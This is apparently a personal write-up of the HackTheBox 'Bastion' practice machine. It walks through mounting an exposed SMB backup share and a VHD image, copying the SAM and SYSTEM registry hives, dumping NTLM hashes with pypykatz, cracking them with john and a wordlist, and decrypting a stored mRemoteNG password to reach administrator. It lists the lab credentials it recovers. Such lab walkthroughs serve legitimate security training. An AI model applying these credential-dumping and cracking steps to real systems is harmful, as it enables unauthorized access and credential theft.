



Bastion

▼ CTF	HackTheBox
☰ Category	Writeup
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☰ Description	
☰ Fields	
▼ Level	Easy
☰ Tags	SMB Windows vhd

Info

Credential

<u>Aa</u> User	☰ Password	☰ Service	☰ Note
<u>L4mpje</u>	bureaulampje		
<u>Admin</u>	thXLHM96BeKL0ER2		

SMB

Sharename	Type	Comment
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ADMIN\$	Disk	Remote Admin
Backups	Disk	
C\$	Disk	Default share
IPC\$	IPC	Remote IPC

Path

User

1. By trying, I found `guest` user exist on SMB.

```
$ rpcclient $ip
Enter WORKGROUP\\ice1187's password:
Bad SMB2 signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] F0 3F A0 7B F9 A8 CE 2C D4 41 E4 18 25 B0 CE 6B .?.{..., .A..%.k
Cannot connect to server. Error was NT_STATUS_ACCESS_DENIED
$ rpcclient -U guest $ip
Enter WORKGROUP\\guest's password:
Cannot connect to server. Error was NT_STATUS_LOGON_FAILURE
```

2. There are some `.vhd` files in the share, but it is too large to be downloaded. So I mount the share, then mount the `.vhd` file.

```
$ sudo mount -t cifs "//$ip/Backups/" ./mnt/Backups
$ sudo guestmount --add 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro
../../../../vhd
```

3. Get `SAM` and `SYSTEM` registry hives, then dump the credentials using `pypykatz`.

```
$ sudo cp vhd/Windows/System32/config/SAM ..
$ sudo cp vhd/Windows/System32/config/SYSTEM ..
$ pypykatz registry --sam SAM SYSTEM
===== SYSTEM hive secrets =====
CurrentControlSet: ControlSet001
Boot Key: 8b56b2cb5033d8e2e289c26f8939a25f
===== SAM hive secrets =====
HBoot Key: 335e6c10b1dce6433e9ef82d30f49d3a3463f8e0097de6f0d90d07b234f03d52
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
```

4. Crack the NTLM hash and get L4mpje's password, then login via SSH and get the user flag.

```
$ sudo john --wordlist=/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt creds.ntlm --format=nt
```

Root

1. Found `mRemoteNG` is installed by looking into `\Program Files (x86)`, and get the encrypted password of the app at `\Users\L4mpje\AppData\Roaming\mRemoteNG`.

([ref](#))

2. Decrypt the password with `mremoteng-decrypt`.

```
$ python3 mremoteng_decrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/z05xDqE4HdVmHAowVRdC7emf7lWWA10dQKiW==
Password: thXLHM96BeKL0ER2
```

3. Login as admin with the password and get the root flag.